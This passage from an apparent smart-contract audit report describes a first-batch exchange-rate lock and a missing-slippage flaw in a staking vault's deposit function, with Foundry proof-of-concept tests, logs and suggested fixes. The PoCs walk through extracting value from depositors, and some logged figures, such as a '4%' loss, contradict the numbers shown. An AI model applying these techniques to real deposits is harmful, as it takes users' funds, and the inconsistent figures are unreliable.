85    console.log("PRINCIPAL LOSS");
86    console.log("- Original deposit: 5,000 HYPE");
87    console.log("- HYPE received: %e", receivedHYPE);
88    console.log("- NET LOSS: %e HYPE", principalLoss);
89    console.log("- Loss percentage: %s%%\n", (principalLoss * 1000)
        / depositAmount);
90
91    console.log("OUTCOME [CRITICAL]");
92    console.log("- Victim deposited at rate %e", rateAfterRewards);
93    console.log("- Victim withdrew at locked rate 1.0");
94    console.log("- Not only zero yield, but negative return!");
95
96    // Assertions
97    assertLt(receivedHYPE, depositAmount, "Victim lost principal!");
98    assertEq(batch0.snapshotExchangeRate, 1e18, "Rate still locked
        at 1.0");
99    assertGt(rateAfterRewards, 1e18, "Rate was higher when victim
        deposited");
100
101    assertTrue(receivedHYPE < depositAmount, "CRITICAL: User lost
        principal due to rate lock");
102 }
```

### Logs:

```
1 DAY 0: Protocol Launches
2   - Initial exchange rate: 1e18
3   - Total balance: 6e23 HYPE
4
5 DAY 0: Attacker Creates Empty First Batch
6   - Batch #0 created with rate: 1e18 (LOCKED)
7 DAYS 1-5: Early Rewards Accumulate
8   - Days passed: 5
9   - Rewards accumulated: 0.5%
10  - New total balance: 6.03e23 HYPE
11  - Current exchange rate: 1.005e18
12
```

```

13 DAY 5: Victim Deposits (Unaware of Rate Lock)
14 - Deposit amount: 5,000 HYPE
15 - Exchange rate at deposit: 1.005e18
16 - vHYPE received: 4.975124378109452736318e21
17 - Cost basis: 5,000 HYPE
18
19 DAY 30: Victim Queues Withdrawal
20 Withdrawal Processed:
21 - Assigned to Batch #0
22 - Locked rate: 1e18 (still 1.0!)
23 - vHYPE withdrawn: 4.975124378109452736318e21
24 - HYPE received: 4.975124378109452736318e21
25
26 PRINCIPAL LOSS
27 - Original deposit: 5,000 HYPE
28 - HYPE received: 4.975124378109452736318e21
29 - NET LOSS: 2.4875621890547263682e19 HYPE
30 - Loss percentage: 4%
31
32 OUTCOME [CRITICAL]
33 - Victim deposited at rate 1.005e18
34 - Victim withdrew at locked rate 1.0
35 - Not only zero yield, but negative return!

```

## Recommendation

1. Require minimum withdrawals with minimum time

```

1 // +++++ Add deployment timestamp +++++
2 uint256 public immutable deploymentTimestamp;
3
4 constructor() {
5     //+++++ assign block.timestamp to deploymentTimestamp +++++
6     deploymentTimestamp = block.timestamp;
7     _disableInitializers();
8 }
9
10 function _fetchBatch() internal view returns (Batch memory) {
11     if (currentBatchIndex == batches.length) {
12         // ALWAYS enforce timing, even for first batch
13         if (lastFinalizedBatchTime != 0) {
14             require(
15                 block.timestamp > lastFinalizedBatchTime + 1 days,
16                 BatchNotReady()
17             );
18             // ... delegation lock check ...
19         } else {
20             // +++++ For first batch, wait minimum time to accumulate
21             // rewards +++++

```

```
21         // can adjust to any time
22         require(
23             block.timestamp >= deploymentTimestamp + 7 days,
24             FirstBatchNotReady(deploymentTimestamp + 7 days)
25         );
26     }
27
28     // +++++ Require at least one withdrawal in queue +++++
29     require(withdrawQueue.sizeOf() > 0, NoWithdrawalsInQueue());
30
31     uint256 snapshotExchangeRate = exchangeRate();
32
33     // ... rest of function
34 }
35 }
```

## 2. Access Control for the first batch processing

```
1 function processBatch(uint256 numWithdrawals)
2     public
3     whenNotPaused
4     whenBatchProcessingNotPaused
5 {
6     // +++++ During first batch period, require operator role +++++
7     if (lastFinalizedBatchTime == 0) {
8         require(
9             roleRegistry.hasRole(roleRegistry.OPERATOR_ROLE(), msg.
10                 sender),
11             OnlyOperatorCanCreateFirstBatch()
12         );
13     }
14     // ... rest of function
15 }
```

## M-02: Lack of Slippage Protection Enables MEV Exploitation on All Deposits

### Summary

The `StakingVaultManager.deposit()` function lacks **slippage** protection, allowing users' deposit transactions to execute at exchange rates significantly different from what they expected when submitting the transaction.

This vulnerability affects **all deposits** and enables MEV attacks where sophisticated actors can monitor the mempool and exploit pending deposits by front-running or back-running based on exchange rate movements.



The protocol forces users to accept **whatever exchange rate** exists at execution time, even if it has changed substantially since transaction submission, unlike standard DeFi protocols such as Uniswap, Curve, etc., that require users to specify minimum output amounts.

This creates **information asymmetry**, where mempool-monitoring bots have a significant advantage over regular users.

### Finding Description

The root cause is the absence of a `minVHYPEOut` (or similar) parameter in the `deposit()` function that would allow users to specify the minimum acceptable amount of vHYPE tokens they're willing to receive for their HYPE deposit.

```
1 function deposit() external payable canDeposit whenNotPaused {
2     uint256 amountToDeposit = msg.value.stripUnsafePrecision();
3     uint256 amountToMint = HYPETovHYPE(amountToDeposit); // No
        minVHYPEOut parameter!
4     require(amountToMint > 0, ZeroAmount());
5     vHYPE.mint(msg.sender, amountToMint);
6     // ...
7 }
```

*Key factors:*

1. The exchange rate is calculated on the fly every time it's queried:

```
1 function exchangeRate() public view returns (uint256) {
2     return Math.mulDiv(totalBalance(), 1e18, vHYPE.totalSupply());
3 }
```

2. Rate changes between transaction submission and execution due to

- continuous accrual of staking rewards,
- slashing events can occur,
- other withdrawals and deposits affecting `totalSupply()` and `totalBalance`

3. No user control about

- the minimum vHYPE they are willing to accept
- the maximum acceptable slippage percentage
- transaction deadline or expiry

4. All pending transactions are visible to MEV bots, who can front-run/back-run accordingly for more profit.

### Impact Explanation

1. Users receive less vHYPE than expected due to unexpected exchange rate
2. Because there are no reverts on higher slippage percentages, users are unaware of the silent exploitation.
3. Creates information asymmetry by giving users with MEV capabilities a greater advantage than others.
4. The annual losses can go high over time.

### Likelihood Explanation

1. Not suitable for all users, as it requires mempool monitoring infrastructure (MEV bots).
2. Only uninformed users deposit at bad times
3. Still not difficult to execute, so it is exploitable

### Proof of Concept

Paste the below test cases in StakingVaultManager.t.sol to simulate the issue:

1. Demonstrates users receive less vHYPE than expected due to rate changes during pending transaction

```
1  function test_SlippageExploit_RateIncreaseDuringPendingTx() public
    withExcessStakeBalance {
2      address victim = makeAddr("victim");
3      address mevBot = makeAddr("mevBot");
4
5      hl.mockCoreUserExists(victim, true);
6      hl.mockCoreUserExists(mevBot, true);
7
8      uint256 victimDepositAmount = 100_000 * 1e18;
9      vm.deal(victim, victimDepositAmount);
10     vm.deal(mevBot, victimDepositAmount);
11
12     // STEP 1: VICTIM CALCULATES EXPECTED OUTPUT
13     console.log("STEP 1: Victim Prepares Deposit Transaction");
14
15     uint256 initialRate = stakingVaultManager.exchangeRate();
16     uint256 initialTotalBalance = stakingVaultManager.totalBalance
        ();
17     uint256 initialSupply = vHYPE.totalSupply();
18
19     console.log("- Protocol State:");
20     console.log("  - Total Balance: %e HYPE", initialTotalBalance);
```

```
21 console.log(" - Total Supply: %e vHYPE", initialSupply);
22 console.log(" - Exchange Rate: %e", initialRate);
23
24 uint256 victimExpectedVHYPE = stakingVaultManager.HYPETovHYPE(
    victimDepositAmount);
25 console.log("- Victim's deposit: 100,000 HYPE");
26 console.log("- Expected vHYPE: %e", victimExpectedVHYPE);
27
28 // STEP 2: TIME PASSES, STAKING REWARDS ACCRUE
29 console.log("STEP 2: Time Passes - Staking Rewards Accumulate")
    ;
30 console.log("- Victim's tx is pending in mempool...");
31 console.log("- Network congestion: high gas prices");
32 console.log("- Meanwhile, staking rewards accrue on L1\n");
33
34 // Simulate 1 day of rewards (rewards accrue during the pending
    period)
35 warp(block.timestamp + 1 days);
36
37 // Mock 0.274% daily rewards (10% APY / 365 days)
38 L1ReadLibrary.DelegatorSummary memory currentSummary =
    stakingVault.delegatorSummary();
39 uint64 rewardedDelegated = uint64((currentSummary.delegated *
    10027) / 10000); // +0.274%
40
41 _mockDelegations(validator, rewardedDelegated);
42
43 uint256 newRate = stakingVaultManager.exchangeRate();
44 uint256 newTotalBalance = stakingVaultManager.totalBalance();
45 uint256 rateIncrease = ((newRate - initialRate) * 10000) /
    initialRate;
46
47 console.log("REWARDS ACCRUED:");
48 console.log("- New Total Balance: %e HYPE", newTotalBalance);
49 console.log("- New Exchange Rate: %e", newRate);
50 console.log("- Rate increase: %s basis points (0.%s%%)\n",
    rateIncrease, rateIncrease);
51
52 // STEP 3: MEV BOT MONITORS MEMPOOL
53 console.log("STEP 3: MEV Bot Monitors Mempool");
54 console.log("- Bot detects victim's pending deposit");
55 console.log("- Bot calculates:");
56 console.log(" - Current rate: %e (higher than victim expected)
    ", newRate);
57 console.log(" - Victim will receive LESS vHYPE than expected")
    ;
58 console.log("- Bot strategy: BACK-RUN (let victim execute at
    worse rate)\n");
59
60 // STEP 4: VICTIM'S TRANSACTION EXECUTES
61 console.log("STEP 4: Victim's Transaction Finally Executes");
```

```
62
63     vm.prank(victim);
64     stakingVaultManager.deposit{value: victimDepositAmount}();
65
66     uint256 victimActualVHYPE = vHYPE.balanceOf(victim);
67     uint256 victimVHYPELoss = victimExpectedVHYPE -
        victimActualVHYPE;
68     uint256 victimLossPercentage = (victimVHYPELoss * 10000) /
        victimExpectedVHYPE;
69
70     console.log("- Deposited: 100,000 HYPE");
71     console.log("- Expected vHYPE: %e", victimExpectedVHYPE);
72     console.log("- Actual vHYPE: %e", victimActualVHYPE);
73     console.log("- LOSS: %e vHYPE", victimVHYPELoss);
74     console.log("- Loss percentage: %s basis points (0.%s%%)",
        victimLossPercentage, victimLossPercentage);
75     console.log("- NO REVERT - Transaction succeeds with silent
        loss!\n");
76
77     // STEP 5: MEV BOT DEPOSITS WITH PERFECT INFORMATION =====
78     console.log("STEP 5: MEV Bot Deposits With Perfect Information"
        );
79
80     uint256 botExpectedVHYPE = stakingVaultManager.HYPETovHYPE(
        victimDepositAmount);
81
82     vm.prank(mevBot);
83     stakingVaultManager.deposit{value: victimDepositAmount}();
84
85     uint256 botActualVHYPE = vHYPE.balanceOf(mevBot);
86     uint256 botSlippage = botExpectedVHYPE > botActualVHYPE ?
        botExpectedVHYPE - botActualVHYPE : 0;
87
88     console.log("- Bot calculates exact rate before submitting");
89     console.log("- Bot expected: %e vHYPE", botExpectedVHYPE);
90     console.log("- Bot received: %e vHYPE", botActualVHYPE);
91     console.log("- Bot's slippage: %e vHYPE (minimal!)",
        botSlippage);
92     console.log("- Bot knows EXACTLY what they'll get\n");
93
94     // IMPACT ANALYSIS
95     console.log("=== IMPACT ANALYSIS ===");
96     console.log("- Victim's loss: %e vHYPE", victimVHYPELoss);
97     console.log("- Bot's slippage: %e vHYPE", botSlippage);
98     console.log(
99         "- Information asymmetry ratio: %sx worse for victim",
100         victimVHYPELoss > 0 ? (victimVHYPELoss / (botSlippage > 0 ?
            botSlippage : 1)) : 0
101     );
102     console.log("\n- Victim: NO control, NO protection, silent loss
        ");
```

```

103     console.log("- Bot: Perfect information, optimal timing");
104     console.log("- Result: Systematic value extraction from regular
        users\n");
105
106     console.log("ROOT CAUSE");
107     console.log("- deposit() function has NO minVHYPEOut parameter"
        );
108     console.log("- Users CANNOT specify minimum acceptable output")
        ;
109     console.log("- Transaction NEVER reverts due to slippage");
110     console.log("- Compare to:");
111     console.log("  > Uniswap: requires amountOutMin");
112     console.log("  > Curve: requires min_dy");
113     console.log("  > Balancer: requires minBPT");
114     console.log("  > Ventuals: NO PROTECTION\n");
115
116     // Assertions
117     assertLt(victimActualVHYPE, victimExpectedVHYPE, "Victim should
        receive less vHYPE than expected");
118     assertGt(victimVHYPELoss, 0, "Victim should suffer measurable
        loss");
119     assertApproxEqAbs(botActualVHYPE, botExpectedVHYPE, 1e18, "Bot
        should get ~expected amount");
120
121     // Information asymmetry: victim's loss should be significantly
        larger than bot's
122     assertTrue(
123         victimVHYPELoss > botSlippage * 10, "Victim's loss should
        be much larger than bot's (info asymmetry)"
124     );
125 }

```

**Logs:**

```

1  STEP 1: Victim Prepares Deposit Transaction
2  - Protocol State:
3  - Total Balance: 6e23 HYPE
4  - Total Supply: 6e23 vHYPE
5  - Exchange Rate: 1e18
6  - Victim's deposit: 100,000 HYPE
7  - Expected vHYPE: 1e23
8  STEP 2: Time Passes - Staking Rewards Accumulate
9  - Victim's tx is pending in mempool...
10 - Network congestion: high gas prices
11 - Meanwhile, staking rewards accrue on L1
12
13 REWARDS ACCRUED:
14 - New Total Balance: 6.0162e23 HYPE
15 - New Exchange Rate: 1.0027e18
16 - Rate increase: 27 basis points (0.27%)
17

```

```

18 STEP 3: MEV Bot Monitors Mempool
19 - Bot detects victim's pending deposit
20 - Bot calculates:
21   - Current rate: 1.0027e18 (higher than victim expected)
22   - Victim will receive LESS vHYPE than expected
23 - Bot strategy: BACK-RUN (let victim execute at worse rate)
24
25 STEP 4: Victim's Transaction Finally Executes
26 - Deposited: 100,000 HYPE
27 - Expected vHYPE: 1e23
28 - Actual vHYPE: 9.9730727037000099730727e22
29 - LOSS: 2.692729629999900269273e20 vHYPE
30 - Loss percentage: 26 basis points (0.26%)
31 - NO REVERT - Transaction succeeds with silent loss!
32
33 STEP 5: MEV Bot Deposits With Perfect Information
34 - Bot calculates exact rate before submitting
35 - Bot expected: 9.9730727037000099730727e22 vHYPE
36 - Bot received: 9.9730727037000099730727e22 vHYPE
37 - Bot's slippage: 0e0 vHYPE (minimal!)
38 - Bot knows EXACTLY what they'll get
39
40 === IMPACT ANALYSIS ===
41 - Victim's loss: 2.692729629999900269273e20 vHYPE
42 - Bot's slippage: 0e0 vHYPE
43 - Information asymmetry ratio: 2692729629999900269273x worse for
    victim
44
45 - Victim: NO control, NO protection, silent loss
46 - Bot: Perfect information, optimal timing
47 - Result: Systematic value extraction from regular users
48
49 ROOT CAUSE
50 - deposit() function has NO minVHYPEOut parameter
51 - Users CANNOT specify minimum acceptable output
52 - Transaction NEVER reverts due to slippage
53 - Compare to:
54   > Uniswap: requires amountOutMin
55   > Curve: requires min_dy
56   > Balancer: requires minBPT
57   > Ventuals: NO PROTECTION

```

## 2. Demonstrates large-scale impact with multiple victims and aggregate losses

```

1 function test_SlippageExploit_AggregateImpact() public
  withExcessStakeBalance {
2     // Create multiple victim addresses
3     address victim1 = makeAddr("victim1");
4     address victim2 = makeAddr("victim2");
5     address victim3 = makeAddr("victim3");
6

```

```
7      hl.mockCoreUserExists(victim1, true);
8      hl.mockCoreUserExists(victim2, true);
9      hl.mockCoreUserExists(victim3, true);
10
11      uint256 depositAmount = 50_000 * 1e18;
12      vm.deal(victim1, depositAmount);
13      vm.deal(victim2, depositAmount);
14      vm.deal(victim3, depositAmount);
15
16      console.log("SCENARIO: Multiple Users Depositing During High
17                  Gas Period");
18      console.log("- 3 users each deposit 50,000 HYPE");
19      console.log("- All transactions pending for 6 hours");
20      console.log("- Staking rewards continue to accrue\n");
21
22      // INITIAL STATE
23      uint256 initialRate = stakingVaultManager.exchangeRate();
24      uint256 totalExpectedVHYPE = 0;
25
26      console.log("Initial State:");
27      console.log("- Exchange Rate: %e", initialRate);
28      console.log("- Each user expects: %e vHYPE\n",
29                  stakingVaultManager.HYPETovHYPE(depositAmount));
30
31      // Calculate expectations for all victims
32      uint256 victim1Expected = stakingVaultManager.HYPETovHYPE(
33          depositAmount);
34      uint256 victim2Expected = stakingVaultManager.HYPETovHYPE(
35          depositAmount);
36      uint256 victim3Expected = stakingVaultManager.HYPETovHYPE(
37          depositAmount);
38      totalExpectedVHYPE = victim1Expected + victim2Expected +
39          victim3Expected;
40
41      // SIMULATE 6 HOURS OF REWARDS
42      console.log("6 Hours Pass - Rewards Accumulate:");
43      warp(block.timestamp + 6 hours);
44
45      // Mock 6 hours of rewards (10% APY / 365 days / 4 = 0.00685%)
46      // 6 hours = 1/4 of a day, so we take the daily rate and divide
47      // by 4
48      L1ReadLibrary.DelegatorSummary memory currentSummary =
49          stakingVault.delegatorSummary();
50      // Cast to uint256 to avoid overflow, then back to uint64
51      uint64 rewardedDelegated = uint64((uint256(currentSummary.
52          delegated) * 100000685) / 100000000); // +0.000685%
53
54      _mockDelegations validator, rewardedDelegated);
55
56      uint256 newRate = stakingVaultManager.exchangeRate();
57      console.log("- New Exchange Rate: %e", newRate);
```

```
49     console.log("- Rate increase: 0.00685%%\n");
50
51     // ALL VICTIMS' TRANSACTIONS EXECUTE
52     console.log("All Transactions Execute at New Rate:");
53
54     vm.prank(victim1);
55     stakingVaultManager.deposit{value: depositAmount}();
56     uint256 victim1Actual = vHYPE.balanceOf(victim1);
57
58     vm.prank(victim2);
59     stakingVaultManager.deposit{value: depositAmount}();
60     uint256 victim2Actual = vHYPE.balanceOf(victim2);
61
62     vm.prank(victim3);
63     stakingVaultManager.deposit{value: depositAmount}();
64     uint256 victim3Actual = vHYPE.balanceOf(victim3);
65
66     uint256 totalActualVHYPE = victim1Actual + victim2Actual +
        victim3Actual;
67
68     // CALCULATE AGGREGATE LOSSES
69     uint256 victim1Loss = victim1Expected - victim1Actual;
70     uint256 victim2Loss = victim2Expected - victim2Actual;
71     uint256 victim3Loss = victim3Expected - victim3Actual;
72     uint256 totalLoss = totalExpectedVHYPE - totalActualVHYPE;
73
74     console.log("Individual Losses:");
75     console.log("- Victim 1: %e vHYPE loss", victim1Loss);
76     console.log("- Victim 2: %e vHYPE loss", victim2Loss);
77     console.log("- Victim 3: %e vHYPE loss", victim3Loss);
78     console.log("\nAggregate Loss:");
79     console.log("- Total vHYPE lost: %e", totalLoss);
80     console.log("- Dollar value (@$5/HYPE): %s", (totalLoss / 1e18
        ) * 5);
81     console.log("- Dollar value (@$50/HYPE): %s\n", (totalLoss / 1
        e18) * 50);
82
83     // SCALE TO PROTOCOL LEVEL
84     console.log("=== PROTOCOL-LEVEL IMPACT ===");
85     console.log("If this represents daily deposit volume:");
86     console.log("- Daily loss: %e vHYPE", totalLoss);
87     console.log("- Weekly loss: %e vHYPE", totalLoss * 7);
88     console.log("- Monthly loss: %e vHYPE", totalLoss * 30);
89     console.log("- Annual loss: %e vHYPE", totalLoss * 365);
90     console.log("- To MEV bots: (via information asymmetry)\n");
91
92     console.log("VULNERABILITY CHARACTERISTICS");
93     console.log("- Affects: ALL deposits (not just first)");
94     console.log("- Exploitable: By any mempool-monitoring bot");
95     console.log("- Silent: No revert, users don't know they lost
        value");
```



```

96     console.log("- Systematic: Happens on every rate change");
97     console.log("- Unfair: Information asymmetry favors
          sophisticated actors\n");
98
99     // Assertions
100    assertGt(totalLoss, 0, "Aggregate loss should be measurable");
101    assertLt(totalActualVHYPE, totalExpectedVHYPE, "All victims
          receive less than expected");
102
103    // Each victim should have suffered a loss
104    assertGt(victim1Loss, 0, "Victim 1 should have loss");
105    assertGt(victim2Loss, 0, "Victim 2 should have loss");
106    assertGt(victim3Loss, 0, "Victim 3 should have loss");
107 }

```

*Logs:*

```

1  SCENARIO: Multiple Users Depositing During High Gas Period
2  - 3 users each deposit 50,000 HYPE
3  - All transactions pending for 6 hours
4  - Staking rewards continue to accrue
5
6  Initial State:
7  - Exchange Rate: 1e18
8  - Each user expects: 5e22 vHYPE
9
10 6 Hours Pass - Rewards Accumulate:
11 - New Exchange Rate: 1.00000685e18
12 - Rate increase: 0.00685%
13
14 All Transactions Execute at New Rate:
15 Individual Losses:
16 - Victim 1: 3.42497653891070847e17 vHYPE loss
17 - Victim 2: 3.42497653891070847e17 vHYPE loss
18 - Victim 3: 3.42497653891070847e17 vHYPE loss
19
20 Aggregate Loss:
21 - Total vHYPE lost: 1.027492961673212541e18
22 - Dollar value (@$5/HYPE): $5
23 - Dollar value (@$50/HYPE): $50
24
25 === PROTOCOL-LEVEL IMPACT ===
26 If this represents daily deposit volume:
27 - Daily loss: 1.027492961673212541e18 vHYPE
28 - Weekly loss: 7.192450731712487787e18 vHYPE
29 - Monthly loss: 3.082478885019637623e19 vHYPE
30 - Annual loss: 3.75034931010722577465e20 vHYPE
31 - To MEV bots: (via information asymmetry)
32
33 VULNERABILITY CHARACTERISTICS
34 - Affects: ALL deposits (not just first)

```

- 35 - **Exploitable:** By any mempool-monitoring bot
- 36 - **Silent:** No revert, users don't know they lost value
- 37 - **Systematic:** Happens on every rate change
- 38 - **Unfair:** Information asymmetry favors sophisticated actors

## Recommendation

### 1. Implement Slippage Protection

```
1
2 // Add new error
3 error SlippageTooHigh(uint256 amountOut, uint256 minAmountOut);
4
5 /// @noticeDeposit HYPE to receive vHYPE with slippage protection
6 /// @param minVHYPEOut Minimum amount of vHYPE to receive (reverts if
7   less)
8 /// @return vhypeAmount The actual amount of vHYPE minted
9 function deposit(uint256 minVHYPEOut) external payable canDeposit
10   whenNotPaused returns (uint256 vhypeAmount) {
11     uint256 amountToDeposit = msg.value.stripUnsafePrecision();
12
13     // Calculate vHYPE to mint at current rate
14     uint256 amountToMint = HYPETovHYPE(amountToDeposit);
15     require(amountToMint > 0, ZeroAmount());
16
17     // Slippage protection: revert if output less than minimum
18     //+++++ add minvhype check +++++
19     require(amountToMint >= minVHYPEOut, SlippageTooHigh(amountToMint,
20       minVHYPEOut));
21
22     // Mint vHYPE
23     vHYPE.mint(msg.sender, amountToMint);
24
25     // Transfer HYPE to staking vault
26     if (amountToDeposit > 0) {
27       stakingVault.deposit{value: amountToDeposit}();
28     }
29
30     emit Deposit(msg.sender, amountToMint, amountToDeposit);
31
32     return amountToMint;
33 }
```